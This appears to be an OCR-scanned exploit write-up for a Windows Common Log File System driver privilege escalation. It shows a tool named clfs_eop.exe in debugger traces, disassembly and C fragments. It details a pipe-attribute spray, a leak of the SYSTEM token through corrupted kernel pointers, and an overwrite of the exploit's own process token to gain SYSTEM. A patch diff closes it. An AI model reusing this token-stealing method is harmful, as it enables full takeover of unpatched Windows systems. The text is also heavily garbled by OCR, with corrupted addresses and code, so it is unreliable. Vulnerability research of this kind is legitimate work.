(C1f sMgntDeregisterManagedClientsd
[C1fsgutDeregistectanagedClients10

(C1fsMgntDeregistertanagedClient

lientss

rex, rex
loc_FFFFFS057ABAABFO

rg 0= quord ptr

RCX DEORI0B005000400 -
#0x -
[RS1000000000003007F
BOT 8002020000000 -
IREP FFFFFEQ4DIBLAFD
RSP FFFFFEQMDIBC2E20 v

are e

R ¢

88 -
RS FFFFFEQUDIBC2EED W
.

"griDereg B

- = as .
[C1fsigutDeregistermanagedClint 16
le Yeants16  loc. | 5 Mo
|C1fsmgtDeregistertanagedclientsls ; L
(At sgrtoeregistermanagedcliontels sy Path
cagedclisntels call rese st at Ketsterceiticihegion”

5 Cndoms e 2 QTS STS

|1 sMgmteregistertanagedClients2s mov  rax, [raxt2in] B i Dot e (it s
|C1fsigntDeregistermanagedClients2d  xor  edx, edx Ci\ndous SYSTEMIZCon 2.8
1t g » 3 Mo STSTEM e &
2 all e ot | CWidons STSTEM 2t &
CWidomaSysten2n
(CLeamgntoeregistermansgedclionts’s sov Pt
(CltsmgutDeregisterransgedclients’s sov  rax, (rexss) CWedora o ten 2 v
[CifsMgutoeregistertanagedClients30 mav  rex, rbx CoWWindows System32\ucrtbese. &
|c1fsmgutperegistermanagedclientsad call  cs: _guard_dispatch_icall fptr 5 C: Windows System32¥ERNELBASE. &1
|C1¢sMgutDeregistertanagedClientsss nop T C:1Windows Systen32¥ERNEL 2.0
|C1¢ smgmteregistertianagedClientsds 5 ) // starts st FFFFFBOSTABBFCS e s o
o = 3] Tvesss
(e angutberegistervansgeaciiontsar | (lfmm(l SerPanageaCTientv i8N0 | START OF FURCTION OOF [Decimal _ Hox  Sute s
< liented? loc . 1 menteresistermanasedclicnts €940 e o rsec TN
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FIZIS

nt_SeSetAccessStateGenericMapping

nt_SeSetAccessStateGenericMapping

nt_SeSetAccessStateGenericMapping

nt_SeSetAccessStateGenericMapping nt_SeSetAccessStateGenericMapping proc near
nt_SeSetAccessStateGenericMapping mov rax, [rcx+48h]
nt_SeSetAccessStateGenericMapping+4 movups xmm@, xmmword ptr [rdx]
nt_SeSetAccessStateGenericMapping+7 movdqu xmmword ptr [rax+8], xmm@
nt_SeSetAccessStateGenericMapping+C retn

nt_SeSetAccessStateGenericMapping+C nt_SeSetAccessStateGenericMapping endp
nt_SeSetAccessStateGenericMapping+C

it will take the source to write from the content of RDX=0xFFFFFFFF.
WINDBG>dps rdx
00000000'ffffffff ffff8005'3a4ee000

At address OxFFFFFFFF | had stored the system_EPROCESS & Oxfffffffffffff000.

system_EPROCESS _high = system_EPROCESS & Oxfffffffffffff0oo;

dest2 = Oxffffffff;
dest3 = 0x100000007;
value2 = Ox414141414141005A;

*(UINT6U*)dest2 = system_EPROCESS_high;

The destination is the pointer located at 0x5000400 +0x48

*(UINT64*)0x5000448 = para_PipeAttributeobjinkernel + 0x18;
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CCCCCRACT7ARICIAA Fr M2 CR AA 9A EQ Q2 Q4
0002D1S0 FFFFF8057AB2ZF1S0: CClfsBaseFilePersisted::C

Output

00000001 PORRRRET GERORDRD" PEOROD
00000001 0OGGRR77 GOEOR000" PEOEER0R
WINDBG>dps rax+8

FfFfcbB2” 01069620
ffffcb82° @10b9028 ©0OEOEOD. DLOLOOS:
FFffcb82° @10b9030 41414141° 41414141
FFFfcb82° 010b9938 414141417 41414141
FFffcb82° 010b9040 41414141° 41414141
FFFfcb82° @10b9R48  41414141° 41414141
FFffcb82° @10b9050 414141417 41414141
FFFfcb82° 010b99S8  41414141° 41414141
FFffcb82° @10b9060 41414141° 41414141
FFFfcb82° 010b9R6S 414141417 41414141
FFffcb82° @10b9070 41414141° 41414141

The PipeAttribute pointer in kernel that points to a buffer filled with “A” will be overwritten with the
high part of the SYSTEM EPROCESS pointer.

This pointer was created when | previously called _NtFsControlFile with a buffer full of “A” .

memset (CUINT6U*)temp_chunk + 1, Oxu4l, Oxffe);
*(UINT6U*)temp_chunk = Ox5a; // "Z"

dest = malloc(0x100);
if (dest == 0) { exit(®); }
memset(dest, 0x42, Oxff);

temp_alloc_2 = (DWORD*)VirtualAlloc(®, ©x1000, 0x1000, 4);

_NtFsControlFile(hPipeWrite, 0, 0, 0, &status_block, 0x11803c, temp_chunk, 0xfd8, dest, 0x100);

The content of that attribute can be read using NtFsControlFile.
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111 1LWUDL TLUUIUDIOD
WINDBG>dps rax+8

ffffcbd2" @leboe2e
ffffcbs2 @1eboe2s
ffffcbs2  @leboese
ffffcb82  @16boe3s
ffffcb82  818b9040
ffffcb82 @18b9p43
ffffcbs2  @leboese
ffffcbg2  @1eboess
ffffcb82" @leboece
ffffcbs2  @1eboees
ffffcb82" @lebve7e
ffffcb82 @18bo078
ffffcb82  818b90380

LM LLYYL “fALATLTL

Iffff8995‘3a4eeaﬁa

41414141° 41414141
414141417 41414141
41414141°41414141
41414141°41414141
414141417 41414141
414141417 41414141
41414141° 41414141
414141417 41414141
41414141° 41414141
414141417 41414141
414141417 41414141

Now the pipe attribute no longer points to the buffer with “A” but to system_EPROCESS &

Oxffffffffffff000.

@) B8887FF6CP4EDADT
@ 000O7FFG6COMEDADA

El @| 600B7FF6CMEDADC

@ 60007FF6CYLEDAEF
@ 080B7FF6CYUEDAFS
@) 08887FF6CY4EDAF7
@ 60067FF6CPLEDAF?
@) 080B7FF6CPMEDAFF
@ 000O7FF6CIUEDBOS
@| 60067FF6CLEDBOC
®| B8887FF6CY4EDB18
@ 60007FFGCLEDB17
@ 08007FF6COUEDB1E
@) 088B7FF6CP4EDB25

al aran7ccaranchoaa

<sub

<sub

T
. bacs

: 89065
- 8B65
. 48:8BOD FuBOO4OO

- 45:33CH
. 33p2

48:8B00 2D8AG4O0

- FF15 77890400

8BB5 99868688

BBB6O6OO
8BC1

79880600
73880600

48 -8B 6408

- 48:8985 B9BAB4BA
. 48:8B15 028n0400
. 48:8DOD 23160300

c6860008

ODAC LOOONAAAR

xor
Xor

mov rcx,quord ptr

r8d,r8d
edx,edx

ds:[<void * _ ptré4 _ ptré4 hPipelrite>]

call quord ptr ds:[<long {(_ cdecl= _ ptré4 HNtFsControlFile)(

mov
mov
add
mov
mov
mov
mov
mov
mov
mov
lea

eax,dword
ecx,dword
ecx,eax

eax,ecx

duword ptr
eax,dword
rex, quord
rax,quord
quord ptr
rdx,quord
rcx,quord

call <printf>

fnu duaned

ptr
ptr

ds:[<int token_offset>]
ds:[<unsigned __inté64 system_EPROCESS_low>]

ds:[<unsigned int pos_token>],eax

ptr ds:[<unsigned int pos_token>]

ptr ds:[<void * _ ptréh __ptr6s temp_chunk>]
ptr ds:[rax+rcx]

ds:[<unsigned __ inté4 System_token_value2>],rax
ptr ds:[<unsigned __intéh System_token_value2}]
ptr ds:[ 0xZFF6CI51F148]

nte dc-T/uncinnad $nt nae Fabanil

This code will be repeated until the system token is retrieved.

sub_7FF6C94EDADC

B0007FF6C9536500
sub_7FFGC94EDB GC

BO0B7FFA6C951F 148

ST RIAVT S

:"System_token_value: %p\n"

_NtFsControlFile(hPipeWrite, 0, 0, 0, &status._block, 0x110038, &const_0x5a, 2, temp_chunk,

0x2000) ;.

pos_token = (unsigned int)system EPROCESS low + (unsigned int)token_offset;
printf("pes.token: %x\n", pas_token);

System_token_value2 = *(UINT6U4*)((UINT6L)pos_token + (UINT64)temp_chunk);
printf("System_token_value: %p\n", System_token_value2);
if  (*(UINTed=)(pos._token + C(UINTed)temp._chunk) >= 0x8181818181818181) {

printf("SYSTEM TOKEN CAPTURED\n");
break;
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8B0B7FF6COMEDADY
00007FF6CIMEDADT
00007FF6COLEDADA

. 33l
ABAB7FFOCYHEDADE <sub |[$

. u5:33ce
. u5:33c0

D2

48:8BOD 2DBAB4E0
. FF15 77890400

. E8 C6D60000

:8BOD CO890LOO

xor rod,rod
xor r8d,r8d
xor edx,edx

. BBOS 99850500 nou eax,duord
9BOB7FF6CIMEDAEF . BBOD BB8ABADD nov ecx,duord
00087FF6CINEDAFE . 038 add ecx,eax
ODOBTFF6CO4EDAFT . BBC1 MOV Eax,ecx
90007FF 6CISEDAFY . 8985 79880600 mou duord ptr
9D007FF6CIHEDAFF . BBOS 73880600 nou eax,duord

. 48:8BOD FA898400  mov rcx,quord

RIP i 00007 FF 6CO4EDBOC <sub [ERTHTTIT S nou rax,quord
40087FF6COMEDET0 . u8:8905 M9BAGLEN | mov quord ptr
00007 FF . 48:8B15 028A0400 mou rdx,quord
ABAB7FF6CILEDBAE . 4B:8DBD 23168308 lea rcx,quord

€all <printf>
nov eax,dword
nou rex,quord

CAp quord ptr ds:[rax-rex],rdx

:BA 818181818181 nov rdx, 0xB1B1B18181818181
1391408
18 ib Bx7FF6CY4EDBST

:8DBD 12160300
906600808

00007 FF6CILEDB25

0B0B7FF6CIMEDB2A . BBOS 48880600
000B7FF6C9MEDB3 D . a8
ABAD7FFOCILEDBIT ug
00007FF6CISEDBYT 48

ABARTFF 5 72

00007 FF us

06007 FF6COREDBAE E8

an

call <printf>
imn BYTEFAPONENATY

lea rcx,quord ptr ds:[@x7FF6C95S1F160]

nou rcx,quord ptr ds:[<void = _ ptré4 _ ptréd hPipeMrite>]

call quord ptr ds:[<long (_ cdecls _ ptro4 _NtFsControlFile}(uoid = _ ptr
ptr ds:[<int token_offset>]

ptr ds:[<unsigned _ inté4 system EPROCESS low>]

ds:[<unsigned int pos_token>],eax

ptr ds:[<unsigned int pos_token>]

ptr ds:[<void = _ ptrés _ptréhs temp_chunk>]
ptr ds:[rax-rex]

ds:[<unsigned __inté4 System_token_value2>],rax
ptr ds:[<unsigned __int64 System_token_value2>]
ptr ds:[8x7FF6CO51F148]

ptr ds:[<unsigned int pos_token>]
ptr ds:[<void = _ ptrés _ ptréh temp_chunk>]

rax=uF8 L'&"

Call from sub 7FFGCOLKE32h0+3B

quord ptr ds:[raxercx=1]-[ 808081EBCA9BDSCB]{FFFFCAB2ZEFBA1919

-text:00007FFGCIMEDBAC clfs_eop.exe:$DBOC HCFOC <sub_7FF6COLEDBOCY

On windows 11 the system token is at offset 0x4b8 of the EPROCESS structure recently read.

T 9 § T o4

v # fx # A 4

Ee

. Notes #® Breakpoints Memory Map [L) call Stack =7 SEH 147] Seript ) Symbols <2 Source - References W Threads &Hamdh
@l 00007FF6CILEDACE . 48:804424 28 mov quord ptr ss:[rsp+0x20],rax
® 00OB7FFA6CO4EDADY - 45:33C9 Xor r9d,r9d
@ 0PBB7FF6C9LEDADT . n5:93cHe xor r8d,r8d B ' C\Users\ricnar\Desktop\New folder (5)\clfs_eop.exe
@ 00007FFO6C94EDADA L. 33D2 Xor edx,edx
E| @ 680B7FF6CO4EDADE <sub 48:8B6BD 2D8ABLAG |[mov rcx,quword ptr 4[+] Kernel RtlClearBit ---------------—-—--|
FF15 77898480 call quord ptr ds:[
L | 8BO5 99860600 mov eax,dword ptr
® DOOB7FFA6CO94EDAEF 8BOD BBB6BGOA mnov ecx,dword ptr
@ DO0O7FF6C94EDAFS - B3cs add ecx,eax (oS
@ 00007FF6CO4EDAF7 . 8BC1 mov eax,ecx
® DOOB7FFAGCO4EDAFY - 8985 798808688 mov dword ptr ds:[4
@ b0OB7FF6C94EDAFF . 8BB5 73888688 mov eax,dword ptr
° . h8:8B6D F4896408 |mov rcx,quword ptr Folder Public Path = C
[Z] ® o0007FF6C94EDBOC <sub_|[$ 48:8B04O8 [T T M gl [+ | Base log file name path= LOG
@ DOOB7FF6CY4EDB10 . 48:8905 098A0400 |mov quord ptr ds:[< Base file path = C:\Users\Publi
@ O0B07FF6COLEDB17 - A4B8:8B15 028A0B488 mov rdx,quword ptr Container file name path = C:\Users\Pu
@ DOBB7FFGCO4EDB1E - hWB:8DBAD 23160388 |lea rcx,quord ptr JiEE rnel CLFS address = FFFFC402F450D000
@ 00007FF6C94EDB25S . EB Co6060000 call (pl‘il’ltf) numero de tags CLFS founded 13
—— o RIS | - 8865 48880660 mov eax,dword ptr
® O000B7FF6CI4EDB30 B 11D Ay B TS R TR [T T A Al | o+ kernel CLFS address = FFFFC4AB2F70C808
® 00007FF6C94EDB3T - 4B:IBA 818181818187 mou rdx, 0x8181818 1 N
@ 000B7FFAGC2L4EDBA1 . 4B:391408 cmp quword ptr ds:[
®| 66867FF6C94EDBALS - 72 18 ijb Bx7FF6COLEDBS7 . . apoeen 5
®| 00007FFGCOLEDBAT . 48:8DOD 12160300 |lea rcx,quord ptr E’% ::Ejiiih?:?rl]:l 23:?299%??2?(1.32”7%8
@ 006B7FF6CO4UEDBAE - E8 9DB60600 call <printf> - s -
®

AAAG7FFAMrOAFNRRCYD

Fe 4n

imn Av7FFAMFQLAENR72

number of pipes created =5000

BOBO7FF6C9556378 <clfs_eop.unsigned int pos_token>]=4F8 L'bl"

iCOLEDB2A clfs_eop.exe:$DB2A HCF2A <sub_7FF6CO4EDBOC+1E>

number of pipes created =4600
TRIGGER START
System_token_value:
TRYING AGAIN
TRIGGER START
System_token_value:

4141414141414141

FFFFC402EF841919

| only need to write that system token in my process by calling CreateLogFile.
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*(UINT6ELU*)OXFFFFFFFF = *»(UINT6U*)(pos._token + CUINT6U)temp_chunk);// system token write
content

*(UINT6EL*)0x100000007 = System_token_value;

*(UINT6EL*)Ox5000448 = g_EProcessAddress + token_offset — 8;// target wire address

CreatelogFile(stored name_Createlog, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ,
®, OPEN_EXISTING, 0);

To do this job, just repeat the step used to read the system token.

|LJ.TSI'\BII“:UEFEgJ.S\'.EI'F’\EFIEgEﬂLJ.lErIt‘I’LU Jjz 10C_Frrrrousigg/Aoryg

I
Y

e =

ClfsMgmtDeregisterManagedClient+16
ClfsMgmtDeregisterManagedClient+16  loc_FFFFF8@22@@5BF(6:

ClfsMgmtDeregisterManagedClient+16 ; _ try { // _ finally(ClfsMgmtDeregisterManagedClient$finge)
ClfsMgmtDeregisterManagedClient+16  mov rl®, cs: imp KeEnterCriticalRegion
lesMﬁDereiisterﬂanaiedclientﬂD call near itr nt KeEnter{riticalReiion
ClfsMgmtDeregisterManagedClient+25 mov rax, [rax+28h]

ClfsMgmtDeregisterManagedClient+29  xor edx, edx

ClfsMgmtDeregisterManagedClient+2B v e TN

ClfsMgmtDeregisterManagedClient+2E | call cs:_ guard_dispatch_icall fptr ; ClfsEarlierlsn
ClfsMgmtDeregisterManagedClient+34 g Linp . iop s

ClfsMgmtDeregisterManagedClient+36 mov rex, [rbx]
ClfsMgmtDeregisterManagedClient+39 mov rax, [rcx+8]
ClfsMgmtDeregisterManagedClient+3D mov rex, rbx

ClfsMgmtDeregisterManagedClient+48 call cs:_ guard_dispatch_icall fptr
ClfsMgmtDeregisterManagedClient+46 nop
ClfsMgmtDeregisterManagedClient+46  ; } // starts at FFFFF8822805BFC6

Y

il =] bl e =

In the double call, it first calls ClfsEarlierLsn to return OXFFFFFFFF in RDX and then calls
nt_SeSetAccessStateGenericMapping.

WINDBG>dps rdx

00000000'ffffffff ffffc402'ef841919

| check that the value pointed by RDX is the System Token.
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WINDBG>!dm|_proc

ffffob8b'f56a9040 4 System // EPROCESS

WINDBG>dps ffffob8b'f56a9040+0x4b8

ffffob8b'f56a94f8 ffffc402'ef841919 //System Token

The token of my process is:

EPROCESS

ffffOb8b'fcd4460c0 1b0c clfs_eop.exe

WINDBG>dps ffffob8b'fc4460c0 +4b8

ffffob8b'fcdd46578 fffc4a02'7601c06c //My Process Token
It’s going to write there.
WINDBG>dps rax+8
ffffob8b'fc446578 ffffc402'f601c06¢
WINDBG>dps rax+8

ffffob8b'fc446578 ffffc402'ef841919

Now my process is System | can run a Notepad to verify.

if (strcmp(username, "SYSTEM") == 0){
printf("I’m SYSTEM\n");
system("notepad.exe");
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__________________________ > FFFFF8021D3DC3B0

PATHS

[+] Folder Public Path = C:\Users\g )

[+] Base log file name path= LOG:CJRSINNECEINIELE

[+] Base file path = C:\Users\Pub i iy

[+] Container file name path = C:

O RN LT r eI, A new version of Notepad is available.  Launch
ers - numero de tags CLFS founded 13

brtcut
Last kernel CLFS address = FFFFC4¢]

numero de tags CLFS founded 1

Format View Help

B [+] Log file handle: ©080EEEEEEEOY
etup([+] Pool CLFS kernel address: FFFH

number of pipes created =5000

number of pipes created =4000
TRIGGER START
dbg _System_token_value: 4141414141414
rtcutTRYING AGAIN
TRIGGER START
System_token_value: FFFFC402EF8419
SYSTEM TOKEN CAPTURED
Closing Handle
ACTUAL USER=SYSTEM
WE ARE SYSTEM

Lk Task Manager

File

Options  View

Processes Performance App history Startup Users Details Services

Name a PID Status User name CPU Memory (ac... Architec... Description
[W]AggregatorHost.exe 3992 Running SYSTEM 00 592 K x64 AggregatorHost
[Wclfs_eop.exe 6924 Running 00 1,732 K x64 clfs_eop
B8 cmd.exe 5768 Running SYSTEM 00 1,088 K x64 Windows Com...
8 conhost.exe 6960 Running ricnar 00 5240 K x64 Console Windo...
[Wcsrss.exe 452 Running SYSTEM 00 852 K x64 Client Server R...
[Wcsrss.exe 536 Running SYSTEM 01 828 K x64 Client Server R...
ctfmon‘exe 4656 Running ricngr 00 2,596 K x64 CTF Loader
[WdIIhostexe 7272 Running ricnfir 00 1,496 K x64 COM Surrogate
[W]dwm.exe 732 Running DWM-1 03 354,428 K x64 Desktop Windo...
== explorer.exe 4868 Running ricniar 01 29,816 K x64 Windows Explo...
[Wfontdrvhost.exe 860 Running UMFD-1 00 2,616 K x64 Usermode Font...
[Hlfontdrvhost.exe 868 Running UMFD-0 00 992 K x64 Usermode Font...
[WIsass.exe 712 Running SY$TEM 00 3,244 K x64 Local Security ...
‘DMicrosoftEdgeUpdate... 4428 Running SYRTEM 00 792 K x86 Microsoft Edge...
[HIMsMpEng.exe 3340 Running SYFTEM 00 51,736 K x64 Antimalware Se...
e 5 Reerererire E 5 00 2,192 K x64 Microsoft Netw...
I notepad.exe 5536 Running SYSTEM 00 1,652 K x64 Notepad
Dol 1060 Bonning plonor 00 5,748 K x86 Microsoft One...
[lRegistry 100 Running SYSTEM 00 3,292 K x64 NT Kernel & Sy...
EWIRuntimeBroker.exe 6024 Running ricnar 00 2,664 K x64 Runtime Broker
EWIRuntimeBroker.exe 4400 Running ricnar 00 2,052 K x64 Runtime Broker
EWIRuntimeBroker.exe 3760 Running ricnar 00 1,128 K x64 Runtime Broker
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7-The real patch

BINDIFF shows a lot of changed functions

o munspane | e ¥ nery

Single Funeton Dff Views (0)  Drenvew

s 5965 0l 6361
L1 Call Braph (12804127 Fiasic Blacks 10 3%
2 Primary Unmatched Funclians (10/1280)
& Secondary Unmatched Funciions (4/127.

Limns 99 5%

ans 156 7%

“ex Furclions

Mat:

Primary Name Type Address. Secondary Name Type Basic Bl
-PreviousLink{void) Noimal BBABBAG1 CORBIEAR CC1fsRequest : :FreviousLink Normal

CE11 gClient: :QueryInterest Normal BBABBAATCOB3BE1S gClient: :QueryInteresti Norimal
CClfsRequest::Nextlink(void) Normal EEEEEEITEE T CC1fsRequest: NextLink Normal
CG1fslogFebCommon: : TsMultiplexed(void) Normal BBAGBAAT CABAIFIG CC1fsLogFcbCommon: TsMultiplexed Normal
CelfslogFcbVirtual: :RemoveFchbFromavl, . . Normal BBABEAA1COB3BDES CrlfslogFcbVirtual : RemoveFcbFromawlT. . Normal
CClfslogFcbPhysical: i ject... Normal BBABEH1CAREAREE CC1fslogFcbPhysical i . Normal
CClfslogFcbPhysical: :CsqPeekNextIrp(. Normal BRADEAE1COB814CE CClfslogFcbPhysical: :CsqPeekNextIrp Normal
CCLlfslogFcbVirtual: L Norimal 0280001 CERATBE CClfsLogFebVir tual ‘e Normal
CClfslogFebVirtual: :MarkLogFileContai, .. Normal BEABBAE1CABACT3E CClfsLogFebVirtual: :MarkLogFileContai. . . Normal
CClfslogFebVirtual: (Releaser romReada. Normal CClfsLogFebVirtual @ Normal
CC1fsLogFcbPhysical: :€sqlnsertlip( I. .. Normal B6ARBAD] CORAZ208 ©C1fsLogFcbPhysical: :CsqlnsertLrp Normal
Ce1fslogFebPhysical : shequireSharedSe Narmal BRABRAATCAR11188 CL1fsLogFebPhysical : sAcquireSharedSes. . Narmal
Ce1fslogFcbPhysical: ;ReleaseFronLazyll, . . Normal 00808 ee1fsLog) 5 azyl. . Normal
CC1fslogFcbVirtual: :GetObservableTnt Normal HBABBAG1 CABBCHIE CC1fsLogFcbVirtua GetDbservableTnt. . Normal
CC1fsRs t_State Ad: LogB: Pen. . . Normal BRADEAE1COB10F4E CC1fsR: i _Stat o LogBasePen. . . Normal
CC1fslogFebVirtual  :GetArchiveDeserip. Normal 80009831 CORSATA8 CC1fslogFebVirtual: GatArchiveDescrip. Normal
CCLlfsloghcbVirtual: o Noiinal BPHPPH| CERECoAD CClfsLoghebyir tual GetsectionObject. .. Notimal
[ Nomal 00A09AD1 CORBZGED CC1fsRequest Normal
CCLfsLe Y H rp(.I0... Normal B8A00HA1 COBE2326 CC1fsLogFebPhysical: e Notmal
CClfsBaseFile::Fre . Normal BBABBAG CABE2088 CClfsBaseFile: : Normal
CClfsRequest riteRestartInProgress. .. Normal BBAGEAATCAR18ECS CC1fsRequest: WriteRestartInProgress Normal
CC1fslogFchPhysical: :UnlockFeb({void) Normal BBAGBAG1 CARBAREE CC1fslogFebPhysical: :UnlackFeh Normal
CClfslogFchVirtual: :ReleaseFromlazyW. . . Normal BRABEAE1COB12658 CC1fsLogFcbVirtual: :ReleaseFromLazylrite Normal
CC1fslogFebVirtual  :ReadlogPaginglo(_ . . . Normal 80009891 COR12308 £C1fslogFebVirtual: ReadlogPaginglo Normal
CClfslogFcbPhysical: :ReleaseFromReadd. .. Normal BBARERA1CO8E2988 CClfsLogFcbPhysical: :ReleaseFromReadA. . Normal

The vulnerable function is here:

Overview
Basic Blocks 72 7% Jumps 57 4% Instructions -174 0%
0/1280)
£ (4/1274)
Secondary Name

::WriteMetadataBlock(ulo

CClfsBaseFilePersisted. g,uchar) |
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= | % CCifsBaseF ) vs CClfsBaseF x

Y
)
I
I
/ atclfsbasefilep 3 I
oL Foags foec 3 4dbenrceadso27 38 Teacoqusda | |
|
I
I
)

_Traceguids) /

T2l = el 2] 20 2
Jaul 2] o [ rls = | e ER o &5 4 o B0
! CC1fsBaseFil, 13 ulong, uchar) l € CC1fsBaseFil siWrd L 78
Ceafspaseri char) CC1faasers :
A0AGAQICHADFED  movzx o 5[ r14¢4] A0AGAGAICARIERAS  mavzx edx {ride4]
G9G0GG01CORZORF2  shl P . 000063 1CTR2EON s cox; b1 9
0000023 1COB20FFS  mov. sp- B ri3b uns: 1021 mov ss:[rsprvar 68], M
8000023 1CHB20FFA  mov 0000000 100626082  mov r9b, @x1e
000GR01COBIOFFD  movsx s2) ANBO0GO1CARIEOTS  movsx Ted, 11 da:frids2]
a0gasea 1Con2E002 90063 10B2E0BA oy, rex, ria
90600601C002E005  call c ) JPEAY.CLFS. LOG BLOCK call cl JPEAU CLFS.L0G BLOCK. HEADERYEKEEEDL
0000000 1CHB2EOAA  mov oax 000G0A1CRAEBC2  mo: eax
A0900G01COBIEOR0 o sprvar.Sel, be e 0BE0Ga 109R2E0CH
0808 1CaB2EDC
90080069 1C0B2E002
aanagea 1co
9000631CO2EA1T  mov cox, 04 csi{?g_signatureOf fsetsValidat SondéakA] 70 99E063 1032000
000860 10202E0E 1
10000004100 B2E0ES
AaR00Ga 1CaR2 0D
y G906 1CT2EOCF
¥ w 00PAAEA 108A2FAFI
= G0B0E0 1032E0S
Sesisted: WriteMetadataBlock{ulong uchar) (33 / 33) 5| 8606068 1CO2ERFD
:002DF28 0000000 100626102
‘002038 G9RERG 1CIZE 105
1002DF59 00000601COR2E017  test o1, b1 exe 0006010262€109
ik 0000GOIICONZERTA 32 eatoizeers
0090A0Q1CRZE10R
{002DF70
1002DF7A \ e —
{002DF7F \ P
W002DF90 s
002DF98 {
002DFBS
002DFC4
'002E088
‘002E0CD
'002E107
W002E100
[002€120 s : o
1002E139 009000DICAR2EATC  test eax, b1 sex
0026147 80€00001C026TE  ns BrICea2ER6A
{002E151 -
{002E16F \
:002DEB0 \
'002DF83 \
+002DFED \
'002E06A A\
0026010 i
1002£020 %
H002E037 \
E 00000001C0020E80 ::
1002E044 6Pa0PBA1CAGIEE2D  len rax, cs:[NPP_GLOBAL Control] |
1002E073 80200001COA2EE2T  nov rex, cs:[NPP_GLOBAL Control] !
1002E0D2. - BADBOB1CAA2EA2E  cup rox, rax 1
00900001C0026631  Jz 8x1C082£800 1
o T :
! |
X 1
COD2DEBS  CClfsBaseFilePersiste tadataBlock(ulong, uchar) |
COB2EB37  mov. eax, H ox2c] |
CB2ER3A onx, o1 @18 1
CoBoreaE  jnb ax1CoBIEaCD |
1
T
= ~~ i
L~ = H
E |
i
1
i
|
|
|
i
i
|
I

T
|
|
1
|
|
|
|
|
|
|
|
|
|
|
!
|
1
I
|
i

The primary is the patched version, the secondary is the vulnerable version.

The patch tests the return value of CflsEncodeBlock, which is 0XCO1A000A, stores it into the variable
var_54, and since it is negative, checks it and avoids the WriteSector.

The patch, in addition to not writing the file, the function returns correctly Oxc01a000a, with which
CreatelogFile does not return any handle and the exploitation cannot continue.
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. . I
00000001CO02DEBO CClfsBaseFilePersist{ pagpsenices2peBe  cClfsBaseFilePersisted: :WriteMetadataBlock(ulong,uchar) | |
BBBRBBEA1CAB2ERIC test b4 eax, b4 eax I
- 0PEPPAB1CARZERIE  jns Bx1CAB2EDGA I
rimar - ~ :
I \ i
1 \\ |
I
| \ |
H \ I
| \ I
! I
¥ I
06000B001CPA2DEBE  CClfsBaseFilePersisted::WriteMetadataBlock(ulong,uchar) | I
BBPEEAB1CAB2ER28  lea rax, cs:[WPP_GLOBAL_Control] // WPP_GLOBAL Control | I
00008081COE2ER27  mov rex, es:[WPP_GLOBAL Control] // WPP_GLOBAL Control | I
0BOBEBB1CEB2EB2E  cmp rex, rax | I
©0000881C082ER31 jz 8x1C882EBCD | |
T T ! }
i | | ‘
Y | | I
660BBBA1CAB2DEBE  CClfsBaseFilePersisted: :WriteMetadataBlock(ulong,uchar) I | |
0B8R0RA1CEE2ER37  mov b4 eax, b4 ds:[rex+8x2C] I | |
BBEB0EE1CEB2ER3A bt b4 eax, bl Bx1B | | I
0080008 1CAB2ER3E  jnb Bx1Cee2EBCD I | I
I [
T L |
- ~
- S~ [ ! |
f—’ ~~_ | I |
=~ | | |
iteMetadataBlock(ulong, uchar) : | I
8 |
_68], b4 Bx26B0 | | }
15378] /1 aCclfsbasefilep_3 | | |
f@B63 hec1344bed2cead@68827 738 _Traceguids] // WPP_B3TDB63fbec1344beB2cead86882738_Traceguids | | I
x18] |
I ! ‘
I
|
: | | ‘
I
-7 o ! I
- =TT I
- === | 1
e ——= =" | I
—_ - | I
eI I I
-7 I I
P L I \
=TI | |
— | I
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, I [
VoI I
uchar) : Jl }
\/ I
A I
// \ I
’ \\ I
4
y \ }
4 \
s \ I
4 \ I
\ |
\ I
. \ I
\ I
Vd \ \
Y | I
00000001CO02DEB®  CClfsBaseFilePersisted: :WriteMetadataBlock(ulong,uchar) } }
BPABBPATCABZEBBA  movZx b4 r12d, b1 r13b I I
BBEBDAT1CABZEAGE  mov b1 ss:[rsp+var_57], b1 r13b } }
I I
I I
I I
I I
I I
I I
/‘ —“'—/ I
e " I
ya —— I
Ve — I
e -
= I
o - I
—_— - I
—_ - I
- 7
—— e I
—_ e I
— e
- - I
{ ¥ ¥
taBlock(ulong,uchar) | 00800881CBA2DEBB  CClfsBaseFilePersisted::WriteMetadataBlock(ulong,uchar)
| 00PEERATCEB2ERTE  mov rex, ds:[rdi+@x98]
| 0000BEB1COB2EBTA  movzx b4 eax, b2 ds:[r14+4]
| 00000081CEB2EB7F  mov rdx, ss:[rsp+var_38]
I | BBPAREA1CAA2EAE4  lea rdx, ds:[rdx+rdx=2]
I | 0B0AEEA1CEA2EREE  mov r9, ds:[rdi+ex3e]
I | BBBBBEA1CEA2EREC  lea r8, ss:[rsp+var_48]
I | 00EBBRA1CORZEBYT  mov ss:[rsp+var_68], r8
| I 00PERRATCEB2ERYE  mov b4 ss:[rsp+var_68], b4 eax
I | 0BOBEEE1CEB2ER9A  mov r9, ds:[r9+rdxxg]
I PBPPBEPETCBB2EB9E  xor b4 r8d, b4 r8d
I I 00000081CEB2EBAT  mov rdx, ds:[rdi+@xA8] :
I | 00000081CEB2EBAB call WriteSector@CClfsContainer@@QEAAJPEAU_KEVENT@BPEAU_CLFS_IO_WORKITEME@EPEAXKQEA Ki °
| | ABPBBEPAT1CBA2EBAD  mov b4 r15d, b4 eax
I | 00000EB1COB2EBBE  mov b4 ss:[rsp+var_54], b4 eax
I | 0000BEB1COB2EBB4  test b4 eax, b4 eax
| BBABREA1CAA2EREE js B8x1Cea2EacD
| Al
I e T T
I

TrOmO@mO®®o




3000001 80000001 COB2DFF A rob Ax108 // Unsig4
0000000 1COO2DFF MoV ZX réd, ds:[r14+2] // Pnsig#
. 00000001C002E00 mov rcx, rl4 /1 ftruc:
)r"" 606000081 CE02E00 call ?C1fsEncodeBlock@@YAJPEAU_CLFS_LOG_BLOCK_HEADER@EKEEE®Z ;
20000001 Co02ERL mov risd, eax
?0POALA1COA2ERG mov ss:[rsp+var_54], eax
0000BRO1CAB2EBT1T mov ecx, cs:[?g_signatureOffsetsValidation@@3KA] // ?g_si:
0P00BPOT1COB2EBT7  test cl, 0x20 ;
0000BBRTCAB2ERTA  jz Bx1COB2EB73 !
| T
[ |
| Vo
[ |
| \E
[ |
| \:
| [
|
!
¥
00000001C002DEB@  CClfsBaseFilePersisted::WriteMetadataBlock(ulong,uchar)
BEEeBRRI1CAB2ELBIC test eax, eax
